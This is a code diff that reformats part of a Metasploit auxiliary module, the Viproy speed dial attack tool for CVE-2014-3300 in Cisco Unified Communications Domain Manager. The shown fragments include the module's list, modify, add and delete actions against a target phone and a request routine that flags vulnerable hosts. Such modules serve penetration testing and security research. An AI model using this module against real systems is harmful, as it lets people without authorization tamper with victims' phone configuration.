@@ -10,44 +10,35 @@ class Metasploit3 < Msf::Auxiliary
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
12
13
- def initialize ( info = { } )
14
- super (
15
- 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool' ,
16
- 'Description' => %q{
13
+ def initialize ( info = { } )
14
+ super ( update_info ( info ,
15
+ 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool' ,
16
+ 'Description' => %q{
17
17
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager (CDM)
18
18
in Unified CDM Application Software before 10 does not properly implement access control,
19
19
which allows remote attackers to modify user information. This vulnerability can be exploited
20
20
for unauthorised speeddial manipulation using this module. This tool can be tested with the fake
21
21
voss-xmlservice component of Viproy.
22
22
} ,
23
- 'Author' => 'fozavci' ,
24
- 'References' =>
25
- [
26
- [ 'CVE' , '2014-3300' ] ,
27
- [ 'BID' , '68331' ]
28
- ] ,
29
- 'License' => MSF_LICENSE ,
30
- 'Actions' =>
31
- [
32
- [ 'List' , {
33
- 'Description' => 'Getting the speeddials for the MAC address.'
34
- } ] ,
35
- [ 'Modify' , {
36
- 'Description' => 'Modifying a speeddial for the MAC address.'
37
- } ] ,
38
- [ 'Add' , {
39
- 'Description' => 'Adding a speeddial for the MAC address.'
40
- } ] ,
41
- [ 'Delete' , {
42
- 'Description' => 'Deleting a speeddial for the MAC address.'
43
- } ]
44
- ] ,
23
+ 'Author' => 'fozavci' ,
24
+ 'References' =>
25
+ [
26
+ [ 'CVE' , '2014-3300' ] ,
27
+ [ 'BID' , '68331' ]
28
+ ] ,
29
+ 'License' => MSF_LICENSE ,
30
+ 'Actions' =>
31
+ [
32
+ [ 'List' , { 'Description' => 'Getting the speeddials for the MAC address' } ] ,
33
+ [ 'Modify' , { 'Description' => 'Modifying a speeddial for the MAC address' } ] ,
34
+ [ 'Add' , { 'Description' => 'Adding a speeddial for the MAC address' } ] ,
35
+ [ 'Delete' , { 'Description' => 'Deleting a speeddial for the MAC address' } ]
36
+ ] ,
45
37
'DefaultAction' => 'List'
46
- )
38
+ ) )
47
39
48
40
register_options (
49
41
[
50
- Opt ::RPORT ( 80 ) ,
51
42
OptString . new ( 'TARGETURI' , [ true , 'Target URI for XML services' , '/bvsmweb' ] ) ,
52
43
OptString . new ( 'MAC' , [ true , 'MAC Address of target phone' , '000000000000' ] ) ,
53
44
OptString . new ( 'NAME' , [ false , 'Name for Speed Dial' , 'viproy' ] ) ,
@@ -122,10 +113,11 @@ def run
122
113
def send_rcv ( uri )
123
114
uri = normalize_uri ( uri . to_s )
124
115
res = send_request_cgi (
125
- {
126
- 'uri' => uri ,
127
- 'method' => 'GET' ,
128
- } )
116
+ {
117
+ 'uri' => uri ,
118
+ 'method' => 'GET' ,
119
+ } )
120
+
129
121
if res and res . code == 200 and res . body =~ /Speed [D|d]ial/
130
122
return Exploit ::CheckCode ::Vulnerable , res
131
123
else
0 commit comments